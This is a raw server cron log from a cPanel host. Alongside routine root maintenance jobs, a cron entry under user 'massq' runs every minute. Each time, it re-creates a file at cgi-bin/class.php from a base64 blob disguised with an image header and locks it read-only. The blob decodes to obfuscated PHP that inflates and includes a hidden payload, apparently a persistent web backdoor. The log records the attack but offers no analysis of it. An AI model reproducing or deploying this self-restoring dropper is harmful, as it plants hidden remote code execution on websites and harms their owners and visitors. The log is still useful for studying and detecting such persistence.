Sep  1 21:00:01 server CROND[30311]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:00:01 server CROND[30312]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:00:01 server CROND[30310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:00:01 server CROND[30307]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 21:00:01 server CROND[30304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:01:01 server CROND[31182]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 21:01:01 server CROND[31183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:01:01 server CROND[31185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:01:01 server CROND[31184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:01:01 server run-parts(/etc/cron.hourly)[31182]: starting 0anacron
Sep  1 21:01:01 server run-parts(/etc/cron.hourly)[31205]: finished 0anacron
Sep  1 21:02:01 server CROND[31599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:02:01 server CROND[31600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:02:01 server CROND[31601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:03:01 server CROND[32090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:03:01 server CROND[32092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:03:01 server CROND[32091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:04:01 server CROND[32487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:04:01 server CROND[32488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:04:01 server CROND[32489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:05:01 server CROND[440]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:05:01 server CROND[442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:05:01 server CROND[443]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:05:01 server CROND[444]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 21:05:01 server CROND[445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:05:01 server CROND[449]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 21:05:01 server CROND[448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:05:01 server CROND[452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:06:01 server CROND[1443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:06:01 server CROND[1444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:06:01 server CROND[1445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:07:01 server CROND[1837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:07:01 server CROND[1838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:07:01 server CROND[1836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:08:01 server CROND[2360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:08:01 server CROND[2361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:08:01 server CROND[2362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:09:01 server CROND[2803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:09:01 server CROND[2804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:09:01 server CROND[2805]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 21:09:01 server CROND[2806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:10:01 server CROND[3194]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:10:01 server CROND[3195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:10:01 server CROND[3196]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:10:01 server CROND[3202]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:10:01 server CROND[3200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:10:01 server CROND[3205]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:10:01 server CROND[3203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:10:01 server CROND[3201]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 21:11:01 server CROND[4045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:11:01 server CROND[4046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:11:01 server CROND[4047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
